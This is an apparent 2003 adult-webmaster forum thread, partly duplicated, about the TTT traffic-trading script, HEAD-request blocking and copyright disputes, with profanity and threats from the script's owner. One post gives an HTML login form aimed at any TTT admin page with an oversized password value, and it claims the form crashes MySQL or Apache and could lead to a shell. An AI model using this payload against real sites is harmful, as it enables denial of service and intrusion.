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SothArtist · 04-20-2003, 10:01 AM

100!!!

SothArtist · 04-20-2003, 10:01 AM

Sorry guys.. I had too

Choker · 04-20-2003, 01:33 PM

Eskimoen is working on some code to block these head requests, it will be released in the next update in a couple of days. To the guys who changed the script, enforcement of the copyright will begin Tuesday morning. Like many people have posted if you don't like the script then don't use it. Nothing about the script is a excuse to change it. Nobody is forcing you to use this script. And the "What are we supposed to do Choker loose our traffic because of this head thing" is the biggest crock of shit I have ever heard. No you are not supposed to loose your traffic, take the script off your server and install someone elses script if you are not happy with TTT. Using this as an excuse to change the script is total horseshit. I love how thieves try to find a reason to justify their behaviour. Everyone in prison is innocent too, right?
Just because other free trade scripts have not been tough on hackers does not mean I will not. If the fact that I am going to go after guys who hack this script pisses you off, then Fuck you. Try stealing some content and flame the content provider here when he goes after your ass. There is no difference, you are either a thief or you are not. Here why don't you steal some content and when you are busted say that his pics were not sized right, so you feel you should not have to pay for his content because you had to resize it. See how far that excuse gets you.

To the many guys using TTT that did not hack it, don't forget about this months lottery. $1300 in cash and prizes and don't forget the update in a couple of days. I doubt if any other script free or paid has made a upgrade to adress this Beja fucker. Thanks

boneless · 04-20-2003, 03:31 PM

choker i think not many free script writers are informed bout the head thingy mr BEJBA does.
Nice to see that you did took everything seriously and you`re trying to solve it through an update. Thats all we asked for to put a little bit code in to make the headrequests stop. At least that was what i wanted.

shageman · 04-20-2003, 03:36 PM

Wow choker is a detective now, all the spare fucking time he has to run around the web and catch people. You can never stop this shit 100%. If ya could there would be no such thing as warez. Only you and your small town attorn can only go so far, till you bump in to a outta country host, or outta country person. But all and all good luck on your journy.

Manie · 04-21-2003, 12:39 AM

Quote:

Originally posted by Choker
Try stealing some content and flame the content provider here when he goes after your ass. There is no difference, you are either a thief or you are not. Here why don't you steal some content and when you are busted say that his pics were not sized right, so you feel you should not have to pay for his content because you had to resize it. See how far that excuse gets you.

Your a strange minded fellow

Like every apple could be compared to an orange.

However, you got a case with the CopyRight Notice.
(However copyright is clearly somthing that isnt taken seriously by over 50% of the world wide webmasters, see little free hahahahahahahahahaha coded saying: leave this header in here being removed)

However I'm fairly happy that you are willing to make the HEAD fix. (Don't know who was talking the bull about the .htaccess was able to block) Technically yes. But you try it for yourself and find out? (Like we already did) Guess that's a bug in apache or something. But scripts simply count hits. Which is focked up.

I'm not trying to make people cheating scripts here. However in some cases I personally would say: better bent the rules than being a poor dumbass. [somthing telling me that was a wrong thing to say :P]

Well, I won't be back in here, Glad for my fellow webmasters the fix is comming. And they dont need to mess your code.

Regards,
Armand aka Manie

mxcreep · 04-21-2003, 02:54 AM

The fact that this case takes about 3 pages on this forum and many other topics on other forums is reason enough for me to see that you're not taking your users seriously.
You still think it's nonsens and the only reason the script is adapted is because of the many people asking for it...

It's not fair to compare this case with the copyright and script hacking issue, it's not related...the people here are asking for a fix, if they would be the people that hacked your scripts they would adjust the script themselves and wouldn't be here...

I absolutely agree in you opinion about the copyright cases, but in my point of view it's in some cases very hard to do something about it, it's pretty easy to adjust the script in a way that you will never find out again that it's the TTT script.
It's also very easy to create a new script based on 80% copied code from your or someoneelses script, it's pretty normal standard php code the techniques you use are not copyrighted because everyone coding php uses the same techniques...

This is not ment as an approval from me to steal code or hack the script, but it's reality...personaly I think it's better to put you're energy in things that are positive, however I can imagine you're very angry...

For me it's a simple case, I'm not using TTT and I won't be using it, cause one of my hosts will not adapt his settings so TTT wil work, I've tested it at home on my testserver and I have to say the script looks fine to me...

Grtz and happy hunting,

Werner

helis · 04-21-2003, 03:02 AM

Quote:

Originally posted by Choker
The following sites have 72 hours to remove TTT script from their sites. If you do not post here that you have complied, I will put all my resources into shutting you down permamently. I will start with your host, then go to your hosts upstream providers, then I will go to each and everyone of your sponsors. If this all fails to shut you down, then I will resort to other means. I am not fucking around here. These sites are violating copyrights. You have 72 hours to comply.

http://indianjuicy.com Send skimming to http://www.tienerkut.nl
http://indiansluts.nl/ Send skimming to http://www.tienerkut.nl
http://sexymeisjes.nl/ Send skimming to http://www.tienerkut.nl
http://mommy.pervertedtaboo.com/ Removed skimming
http://www.sexkabouter.com/ Removed skimming
http://sex18.freepornbest.com/ Removed checking and possibly also skimming
http://maturepost.freetaboohost.com/ Russian TTT copy
http://www.premiersexpics.com/ Modified TTT.

PS if you are above and think you are hosted where you can't be touched, think again.

they have 24 hours to remove it from when you email them or there host so your warning here means nothing dude email there uplink NOW otherwise legally they can leave it all up

eskimoen · 04-21-2003, 04:20 AM

Quote:

Originally posted by Manie

However I'm fairly happy that you are willing to make the HEAD fix. (Don't know who was talking the bull about the .htaccess was able to block) Technically yes. But you try it for yourself and find out? (Like we already did) Guess that's a bug in apache or something. But scripts simply count hits. Which is focked up.

If you are reffering to the code I have posted I can tell you that it IS working. If dont have mod_rewrite enabled it will not work. I guess that's your problem.

nuclei · 04-21-2003, 07:42 AM

To the NL guys:

eskimoen is correct. The mod_rewrite code that he posted here WILL stop all head requests. Which apparently judging by the posts here is ALL that you are complaining about chokers script. The rewrite code that eskimoen posted for those that missed it is:

RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^HEAD$
RewriteRule .* - [F,L]

PowerCum · 04-21-2003, 09:24 AM

Hmmm nice post.

I have had a stupid idea... lets make a GPL lisenced trading script that has the same features that ttt, ept, cjultra, ucj and rb4, and no the real 1% that ttt takes or the pseudoreal 2% (3,3% if you test it) that cjultra takes.

This way users will be able to edit the script as they want and all you will be happy... or perhaps not so much.

...
...
...

One more thing...

-form action="http://SOME-TTT-SITE-HERE/tttadmin/index.php" method="POST"-
-table width="800" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#000000"-
-tr--td--table width="100%" border="0" cellpadding="0" cellspacing="0"-
-tr--td--div align="center"-
-table width="350" border="0" cellspacing="2" cellpadding="0"-
-tr-
-td width="200"--strong--font size="2"-Username:-/font--/strong--/td-
-td width="250"--input name="username" type="text" id="username3" size="30" maxlength="50"--/td-
-/tr--td width="200"--strong--font size="2"-Password:-/font--/strong--/td-
-td width="250"--input name="password" type="text" id="password" size="30000" maxlength="50" value="PUT-BETWEEN--512KB-AND-28MB-RANDOM-STUFF-HERE"--/td-
-/tr-
-tr--td--input name="login" type="submit" class="buttons" id="login" value=" Login "--/td-
-/tr-

-/table-

-/form-

Insert this form on any html page and try to log in, the effects are pretty funny.
Effects:
1) You cannot login --> increase the crap stuff about 152 kb more or 1 Mb if you want and try again (insert coin for another game)
2) You crash the mysql daemon --> the site goes down untill mysql is restarted
3) You crash the apache because it is running out of the box red hat installation --> same as 2, but this time they need to restart the apache
4) You know enought to make a shellcode and exploit the MySQL buffer overflow that affects several versions prior to 3.23.45 ---> you gain a free shell with the same privileges the mysql daemon is running... also you have access to all the databases.
5) You decide to fix the bugs because you do not want to wait Choker to release a bugfix (perhaps with more bugs) --> You appear on this list as a cheater and Choker drives your site down
6) You decide to use another script --> You will have the same bugs and several more because most programmers know to make programs work, but not to work good.

NOTE to Choker: Do not take it as offense dude, your script is a nice one. All the other scripts have the same bugs and others have some more severe too (TTT has some other bugs, but this is one of the funny bugs it has).

And... do not call me cheater, because I do not use TTT

mxcreep · 04-22-2003, 01:52 AM

Eskimoen, I think you're right about your statement about the working .htaccess code...however aparently lots of hosts do not have a proper apache config...
In my case it seems pretty strange, other rewrite engine code works, but this does not...even more strange is that the host I run on is not a custom configured machine, but a plesk machine in a network of many plesk servers managed thru a plesk master server...normally any standard shit works on plesk managed servers...

The code solution does have another advantage, the way I use it is as follows....(this is not TTT but another script, but a look at your code shows me that it works the same in this case)...

I have one line in the in.php and out.php to check the request method and in case of a HEAD I exit the script...
But I also put a line instead of the normal include of the in.php in the index where I check the request method, if it's not a HEAD I include the in.php and otherwise I do not, so are the in and out protected against direct calls...
The index still gives back content in the case of a HEAD so if a search engine does a HEAD to check if your page has changed it will receive a normal header....the htaccess solution does not...

Grtz,

Werner

Eve · 04-22-2003, 01:59 AM

Quote:

Originally posted by Choker

Then you would never buy a trading script. No trading scripts allow you to modify them. It's in the license agreement.

So is this a hack then?
http://www.cjet.net/cjup/index.html

Choker, wasn't this originally one of yours, I vaguely remember hits going to chokingchicken...?

boneless · 04-22-2003, 03:45 AM

Quote:

Originally posted by Eve

So is this a hack then?
http://www.cjet.net/cjup/index.html

Choker, wasn't this originally one of yours, I vaguely remember hits going to chokingchicken...?

if im correct its lanes script (cj ultra) thats modified by some russian

mrreuben · 04-22-2003, 05:56 AM

Quote:

Originally posted by mxcreep
[B]Eskimoen, I think you're right about your statement about the working .htaccess code...however aparently lots of hosts do not have a proper apache config...

No one said that a script based solution was wrong.

The assertion that .htaccess does not work is wrong .

By not invoking the script at all you remove the server load of calling it in the first place. Personally I perfer blocking him that way since I can simply block him from spidering any page on my domain. If your server setup does not allow a .htaccess based solution does not mean that is true for everyone. It simply means based on your setup you have to go through other methods.

In my case I put the ip in my banned list , he's gone. I pour through server logs for 10 domains and there is no evidence he's geting through on a banned ip.

mxcreep · 04-22-2003, 06:04 AM

Quote:

Originally posted by boneless
if im correct its lanes script (cj ultra) thats modified by some russian

Mwoah, it's not modified....it's a complete rewrite, nothing of the code remained the same....there are lots of new features, stuff that didn't work in Lanes version does in the + version...only mole is a stupid ass for using the complete layout of the admin and webmaster pages from Lanes cjultra...
Apparently he does have the abbility to write a tradescript himself, so I don't really understand why he didn't make a complete version with his own ideas...

If Mole would have used his own design he wouldn't have a problem, now he does...Lane is chasing him...

Grtzz,

Werner

boneless · 05-07-2003, 01:52 AM

Quote:

Originally posted by Choker
Eskimoen is working on some code to block these head requests, it will be released in the next update in a couple of days.

so hows that update coming choker?

whitey · 05-07-2003, 11:03 AM

I really can't believe that people here are defending their violation of a copyright..

Look, the script is free and it is a solid script that will allow you to build traffic quickly on a new site.

I particularly like the excuse regarding mod_rewrite. If you are an adult webmaster and you use a host that does not have mod-rewrite enabled and they refuse to do it, that's your problem, not chokers. Running an adult site on a server without mod_rewrite enabled is simply asking for it, IMO.

Furthermore, if you don't like the script, don't use it, write your own, or buy one.

This script is free to download folks with a payment of 1% of your traffic to choker. That does not give you the right to treat it like...

a. open source code - it is not

b. a paid script - and expect them to treat it like a coder charging $600 for their code.

Finally, there are no open source trade scripts out there for good reason.

Joesho · 05-07-2003, 11:22 AM

Quote:

Originally posted by juicylinks
G4 LIFE

I live in herbville. does that qualify?

PowerCum · 05-07-2003, 11:53 AM

Quote:

Originally posted by whitey

Finally, there are no open source trade scripts out there for good reason.

There will be one in 2 weeks

Of course, even if Choker does not appreciate me very much, I have to agree that his script is very nice.
As it does not feet my needs (NOTE: MY needs, not the yours), I decided to code a script myself and release it under LGPL that will allow you to change almost all the code to fit your server needs.

I also agree that the russian version is a complete copy of TTT and has no one single fix.

As I was coding my own script I have had looked some other scripts before start coding the mine. The fact is that in ALL the scripts regardless of what language are they written 75% of the code is the same. If you think a bit, it's quite normal. If you buy a car you expect it to have 4 wheels and some doors and other normal stuff. So if you get a trading script you expect it to do the traffic trading stuff (skim + prod + trading). You can add or remove features, but the script is almost the same. Also the algorythm is almost the same (It's a simple math formula), some people enhance it and some others don't.

My personal opinion is that the russian TTT is a complete Choker's TTT copy with about 15 lines of code changed (Let's say it's a complete copy). Even that, I don't understand why should you try to fuck some russian webmaster who probably has changed the script for fun. And looking the thing from the legal side, it is completely impossible to make a webmaster to remove the russian version from his host because he can argue that he did not know that it's a pirated copy. Even a webmaster that has changed deliberately the TTT code could argue that he downloaded it from some another site that's not the TTT official site (From Kazaa for example). As much you can ask them to install the original TTT copy, but there is no legal action possible.
The only possible legal action is against the russian webmaster who copied the TTT code making the russian TTT copy, but not against the users of that copy.

No offense here, I'm just a software developer and I have had developing software for about 15 years. I have had several legal actions regarding copyrights (some against other people, and some against me) so I know a little about copyright laws. In my opinion this particular legal action against webmasters is just a waste of money and time. The lawsuit against the russian TTT creator is ok, but against the webmasters that use it (perhaps without knowledge that it's a pirated software, or arguing they don't know it) is just useless.

04-20-2003, 01:33 PM	#103
Choker Confirmed User Industry Role: Join Date: Apr 2001 Location: Orlando Posts: 9,024	Eskimoen is working on some code to block these head requests, it will be released in the next update in a couple of days. To the guys who changed the script, enforcement of the copyright will begin Tuesday morning. Like many people have posted if you don't like the script then don't use it. Nothing about the script is a excuse to change it. Nobody is forcing you to use this script. And the "What are we supposed to do Choker loose our traffic because of this head thing" is the biggest crock of shit I have ever heard. No you are not supposed to loose your traffic, take the script off your server and install someone elses script if you are not happy with TTT. Using this as an excuse to change the script is total horseshit. I love how thieves try to find a reason to justify their behaviour. Everyone in prison is innocent too, right? Just because other free trade scripts have not been tough on hackers does not mean I will not. If the fact that I am going to go after guys who hack this script pisses you off, then Fuck you. Try stealing some content and flame the content provider here when he goes after your ass. There is no difference, you are either a thief or you are not. Here why don't you steal some content and when you are busted say that his pics were not sized right, so you feel you should not have to pay for his content because you had to resize it. See how far that excuse gets you. To the many guys using TTT that did not hack it, don't forget about this months lottery. $1300 in cash and prizes and don't forget the update in a couple of days. I doubt if any other script free or paid has made a upgrade to adress this Beja fucker. Thanks __________________ ICQ me lets make a deal 116894466 Need dating, cam, or tube traffic? I got it.http://http://www.chokertraffic.com The Original http://www.chokertraffic.com/ Premium country pop-unders from $1.50 per k. I challenge you to compare this traffic to any other brokers. http://www.chokertraffic.com/public/tabs.php?t=o

04-21-2003, 07:42 AM	#110
nuclei old school fart Industry Role: Join Date: May 2001 Location: Florida Posts: 1,015	To the NL guys: eskimoen is correct. The mod_rewrite code that he posted here WILL stop all head requests. Which apparently judging by the posts here is ALL that you are complaining about chokers script. The rewrite code that eskimoen posted for those that missed it is: RewriteEngine on RewriteCond %{REQUEST_METHOD} ^HEAD$ RewriteRule .* - [F,L] __________________ The next generation of SEO

04-20-2003, 10:01 AM	#101
SothArtist Registered User Join Date: Oct 2002 Location: Australia Posts: 366	100!!!

04-20-2003, 10:01 AM	#102
SothArtist Registered User Join Date: Oct 2002 Location: Australia Posts: 366	Sorry guys.. I had too

04-20-2003, 03:31 PM	#104
boneless Confirmed User Industry Role: Join Date: Dec 2002 Location: in your head Posts: 3,625	choker i think not many free script writers are informed bout the head thingy mr BEJBA does. Nice to see that you did took everything seriously and you`re trying to solve it through an update. Thats all we asked for to put a little bit code in to make the headrequests stop. At least that was what i wanted.

04-20-2003, 03:36 PM	#105
shageman Confirmed User Join Date: Oct 2002 Posts: 407	Wow choker is a detective now, all the spare fucking time he has to run around the web and catch people. You can never stop this shit 100%. If ya could there would be no such thing as warez. Only you and your small town attorn can only go so far, till you bump in to a outta country host, or outta country person. But all and all good luck on your journy.

04-21-2003, 02:54 AM	#107
mxcreep Registered User Join Date: Apr 2003 Location: Netherlands Posts: 4	The fact that this case takes about 3 pages on this forum and many other topics on other forums is reason enough for me to see that you're not taking your users seriously. You still think it's nonsens and the only reason the script is adapted is because of the many people asking for it... It's not fair to compare this case with the copyright and script hacking issue, it's not related...the people here are asking for a fix, if they would be the people that hacked your scripts they would adjust the script themselves and wouldn't be here... I absolutely agree in you opinion about the copyright cases, but in my point of view it's in some cases very hard to do something about it, it's pretty easy to adjust the script in a way that you will never find out again that it's the TTT script. It's also very easy to create a new script based on 80% copied code from your or someoneelses script, it's pretty normal standard php code the techniques you use are not copyrighted because everyone coding php uses the same techniques... This is not ment as an approval from me to steal code or hack the script, but it's reality...personaly I think it's better to put you're energy in things that are positive, however I can imagine you're very angry... For me it's a simple case, I'm not using TTT and I won't be using it, cause one of my hosts will not adapt his settings so TTT wil work, I've tested it at home on my testserver and I have to say the script looks fine to me... Grtz and happy hunting, Werner

04-21-2003, 09:24 AM	#111
PowerCum CjOverkill Industry Role: Join Date: Apr 2003 Location: Woldwide Posts: 1,328	Hmmm nice post. I have had a stupid idea... lets make a GPL lisenced trading script that has the same features that ttt, ept, cjultra, ucj and rb4, and no the real 1% that ttt takes or the pseudoreal 2% (3,3% if you test it) that cjultra takes. This way users will be able to edit the script as they want and all you will be happy... or perhaps not so much. ... ... ... One more thing... -form action="http://SOME-TTT-SITE-HERE/tttadmin/index.php" method="POST"- -table width="800" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#000000"- -tr--td--table width="100%" border="0" cellpadding="0" cellspacing="0"- -tr--td--div align="center"- -table width="350" border="0" cellspacing="2" cellpadding="0"- -tr- -td width="200"--strong--font size="2"-Username:-/font--/strong--/td- -td width="250"--input name="username" type="text" id="username3" size="30" maxlength="50"--/td- -/tr--td width="200"--strong--font size="2"-Password:-/font--/strong--/td- -td width="250"--input name="password" type="text" id="password" size="30000" maxlength="50" value="PUT-BETWEEN--512KB-AND-28MB-RANDOM-STUFF-HERE"--/td- -/tr- -tr--td--input name="login" type="submit" class="buttons" id="login" value=" Login "--/td- -/tr- -/table- -/form- Insert this form on any html page and try to log in, the effects are pretty funny. Effects: 1) You cannot login --> increase the crap stuff about 152 kb more or 1 Mb if you want and try again (insert coin for another game) 2) You crash the mysql daemon --> the site goes down untill mysql is restarted 3) You crash the apache because it is running out of the box red hat installation --> same as 2, but this time they need to restart the apache 4) You know enought to make a shellcode and exploit the MySQL buffer overflow that affects several versions prior to 3.23.45 ---> you gain a free shell with the same privileges the mysql daemon is running... also you have access to all the databases. 5) You decide to fix the bugs because you do not want to wait Choker to release a bugfix (perhaps with more bugs) --> You appear on this list as a cheater and Choker drives your site down 6) You decide to use another script --> You will have the same bugs and several more because most programmers know to make programs work, but not to work good. NOTE to Choker: Do not take it as offense dude, your script is a nice one. All the other scripts have the same bugs and others have some more severe too (TTT has some other bugs, but this is one of the funny bugs it has). And... do not call me cheater, because I do not use TTT

04-22-2003, 01:52 AM	#112
mxcreep Registered User Join Date: Apr 2003 Location: Netherlands Posts: 4	Eskimoen, I think you're right about your statement about the working .htaccess code...however aparently lots of hosts do not have a proper apache config... In my case it seems pretty strange, other rewrite engine code works, but this does not...even more strange is that the host I run on is not a custom configured machine, but a plesk machine in a network of many plesk servers managed thru a plesk master server...normally any standard shit works on plesk managed servers... The code solution does have another advantage, the way I use it is as follows....(this is not TTT but another script, but a look at your code shows me that it works the same in this case)... I have one line in the in.php and out.php to check the request method and in case of a HEAD I exit the script... But I also put a line instead of the normal include of the in.php in the index where I check the request method, if it's not a HEAD I include the in.php and otherwise I do not, so are the in and out protected against direct calls... The index still gives back content in the case of a HEAD so if a search engine does a HEAD to check if your page has changed it will receive a normal header....the htaccess solution does not... Grtz, Werner

05-07-2003, 11:03 AM	#118
whitey Confirmed User Join Date: Oct 2002 Posts: 125	I really can't believe that people here are defending their violation of a copyright.. Look, the script is free and it is a solid script that will allow you to build traffic quickly on a new site. I particularly like the excuse regarding mod_rewrite. If you are an adult webmaster and you use a host that does not have mod-rewrite enabled and they refuse to do it, that's your problem, not chokers. Running an adult site on a server without mod_rewrite enabled is simply asking for it, IMO. Furthermore, if you don't like the script, don't use it, write your own, or buy one. This script is free to download folks with a payment of 1% of your traffic to choker. That does not give you the right to treat it like... a. open source code - it is not b. a paid script - and expect them to treat it like a coder charging $600 for their code. Finally, there are no open source trade scripts out there for good reason.